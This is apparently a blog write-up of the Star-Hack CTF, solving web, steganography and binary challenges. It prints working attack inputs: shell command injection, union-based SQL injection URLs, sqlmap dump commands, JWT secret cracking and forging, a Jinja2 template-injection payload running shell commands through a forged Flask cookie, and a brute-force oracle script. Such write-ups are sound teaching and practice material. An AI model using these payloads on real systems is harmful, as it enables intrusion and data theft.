+++
date = '2025-10-18T14:51:32+02:00'
draft = false
title = 'Star-Hack'
toc = true
+++

I participated in the Star-Hack, a CTF in France, but let's not waste more time.

Difficulty : easy
Flag format : `flag{[a-zA-Z0-9_]+}`

## Web

The challenges difficulties varied from easy to medium, and could be quite fun.

### Crawler

The flag were split in 5 parts, 4 were to be found, and the fifth one was
obtainable by providing the concatenation of the first 4 to an API.

The first four parts were obtainable by looking at the following files :

* /robots.txt
* /index.html
* /static/main.css
* Another place like cookie or console, I don't remember

Which leaves us with the following concatenation : `flag{Crawl_Master_20`, the
API gives us the final part "25}".

Flag: `flag{Crawl_Master_2025}`

### Commands

This challenge offers us to ping a target by specifying its IP, the character
';' is prohibited by a filter.

As expected, it uses the ping utility, and a simple shell injection
`1.1.1.1 && id` enables us to run commands.

Finally, `1.1.1.1 && find . -name '*flag*'` provides the file name and
`1.1.1.1 && cat ./flag.txt` provides the flag

Flag : `flag{Command_Injection}`

### Events

This challenge offers to use an input field to enter a month and retrieve events
that happened during this one. This input won't allow us to enter more
than two integers, however it is then used in the url query, and no backend
check is performed.

By crafting a basic sql injection, we can retrieve all events with the following
URL : `http://[REDACTED]/?MONTH=02' or '-01'='`. (it filters by date, and
happens '-01' at the end of the month to obtain dates like '2025-02-01')

The number of columns retrieved can be found by using a simple union select
injection : `http://[REDACTED]/?MONTH=02' union select "a", "b", "c" where '-01'='`, it has 3
columns.

This enables us to get the list of tables, by trying different payloads, we
guess it's sqlite :

```sh
http://[REDACTED]/?MONTH=02' union select "a", tbl_name, "c" from sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' AND '-01'='
```

There are 3 tables : 'events', 'flag' and 'users'.

We finally get the flag with the following request :
`http://[REDACTED]/?MONTH=02' union select "a", * from flag WHERE '-01'='`

Flag: `flag{sqlite_union_based_injection_success}`

### Store

It was a website with a search input, by trying the exact same basic SQLi as in
the previous challenge, we find the query is vulnerable.

As I couldn't bear a second SQLi, and that sqlmap was obviously going to dump it
easily, I went for it :

```sh
sqlmap -u 'http://[REDACTED]/search/?q=1' -p q --technique "BEUT" --tables
```

This extract the table name 'store_secret', which is dumped with :

```sh
sqlmap -u 'http://13.38.0.91:8087/search/?q=1' -p q --dump store_secret
```

flag: I didn't keep this one

### Broken control

We are offered to log in to the website with 'guest:guestpass'. Once logged in,
we get the following JWT to store the session :

```sh
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q
```

Using `jwt_tool.py`, we can get its body :
`{"username": "guest", "id_admin": False}`. After testing differents common
vulnerability like setting the 'alg' header to 'none', I ended up trying to
bruteforce it. Turns out that it worked with the `rockyou.txt` wordlist :

```sh
jwt_tool.py -C -d rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q
```

The secret is 'letmein', the JWT can then be tampered to gain admin privileged with the following command :

```sh
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kf2kBhjtTKfkNGfYVrchv4Q -T -S hs256 -p "letmein"
```

This leads to the flag I didn't keep.

### Obfuscate

This challenge was interesting, it starts with a very basic SQLi authentication
bypass, we are then offered to change our username.

It's possible to use the username to perform XSS, however it is a dead end. The
real goal here is to exploit a SSTI. By using the [payloadAllTheThings' decision tree](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#inject-template-syntax),
it is possible to find that the backend uses jinja2 templates.

However, many inputs are blocked, like those including `__imports__` or `os`.
I tried some bypasses, however it was not convincing, and
`__builtins__.__dict__` was not accessible for some reason. But by
looking around, I found out that we could retrieve the global variables by using
an SSTI, more precisely the variable `SECRET_KEY="supersecretforctf"`.

The username is stored in a flask token, the filter preventing executing shell
commands in SSTI is only used when trying to change the username, not when
it using the username with a signed flask token.

By forging a new token with [Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign)
as following, it is possible to run shell commands on the server !

```sh
flask-unsign --sign --cookie "{'username': '{{ self.__init__.__globals__.__builtins__.__import__(\'os\').popen(\'find . -name *flag*\').read() }}'}" --secret 'supersecretforctf'
```

The flag location is `/flag123aatt.txt`, by using the same process, we print it using cat.

Flag : `flag{sql_injection_then_ssti_priv_escalation}`

### IDOR

### Dev_dev

## Steganography

I think steganography is a double-edged sword, either the challenges are
interesting and fun, either it is yet another steghide bruteforce challenge.
Unfortunately, this CTF is more on the second side.

### Dive deeper

Image :

![parrot.jpg](/writeups/StarHack/stegano/parrot.jpg)

Well the following command unfortunatly retrieves the flag :

```sh
strings parrot.jpg | grep flag{
```

Flag : `flag{binwalk_unpacked_me}`

### Investigate

Image :

![forest.jpg](/writeups/StarHack/stegano/forest.jpg)

Same for this one, but with exiftool

```sh
exiftool forest.jpg | grep flag{
```

Flag : `flag{metadata_magic}`

### Explore the image 1

Image :

![tiger.jpg](/writeups/StarHack/stegano/tiger.jpg)

After messing around with this one, the only thing left is
[steghide](https://steghide.sourceforge.net/), and there is a password...

At least, [stegseek](https://github.com/RickdeJager/stegseek) finds it quickly
with the following command :

```sh
stegseek tiger.jpg rockyou.txt
```

Flag : `flag{hidden_in_plain_sight}`

### Explore the image 2

Image :

![sunset.jpg](/writeups/StarHack/stegano/sunset.jpg)

Because once isn't enough, here's exactly the same challenge :

```sh
stegseek sunset.jpg rockyou.txt
```

Flag : `flag{stegseek_cracked_it}`

## Binary

The category name is surprising, it's kind of a mix of reverse and pwn.

### Native guardian

Source : [app-release.apk](/writeups/StarHack/binary/app-release.apk)

This challenge ses a shared library in native code, which contains the flag in
cleartext. It is possible to extract the APK with [apktool](https://apktool.org/),
however, a simple strings and grep on the apk will extract the flag :

```sh
strings app-release.apk | grep -B 1 flag
```

It returns

```sh
3v3rs3d}
flag{jn1_4rm64_rInvalid key
```

Flag : `flag{jn1_4rm64_r3v3rs3d}`

### Simple

Source : [simple](/writeups/StarHack/binary/simple)

This is a binary that needs to be reversed, I'm not sure to understand
everything it does, but it doesn't matter to find the flag.

The flag isn't in the binary but in a file on a remote server. In a tcp
connection, it's possible to send a string and test it against the flag.

The test will iterate through the strings and stop at the end of input or at the
end of the flag. When sending a wrong input, the index of the first match is
returned. This way, by sending `'X' * 23`, we get `22`, which means no 'X' is in
the flag, and the flag is 22 chars long.

Knowing that, I wrote the following script to find the first occurence of all
chars :

```py
#!/bin/sh
from pwn import *

chars = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-")

context.log_level = 'error'  # Suppress noise

host = "[REDACTED]"
port =  1027

for c in chars:
    conn = remote(host, port)

    conn.recv()
    conn.sendline((c * 22).encode())

    res = conn.recv()
    if "22" not in res.decode():  # If char is in the flag
        print(c, res)

    conn.close()
```

This leaves us with the following :

```sh
a b'Result length: 2\n'
e b'Result length: 20\n'
f b'Result length: 0\n'
g b'Result length: 3\n'
i b'Result length: 8\n'
l b'Result length: 1\n'
m b'Result length: 17\n'
n b'Result length: 9\n'
p b'Result length: 18\n'
r b'Result length: 7\n'
s b'Result length: 13\n'
x b'Result length: 5\n'
0 b'Result length: 6\n'
_ b'Result length: 11\n'
```

Knowing the flag format, we have that : `flag{x0 in _ s   mp e}`

Finally, we guess the flag being `flag{x0ring_is_simple}`


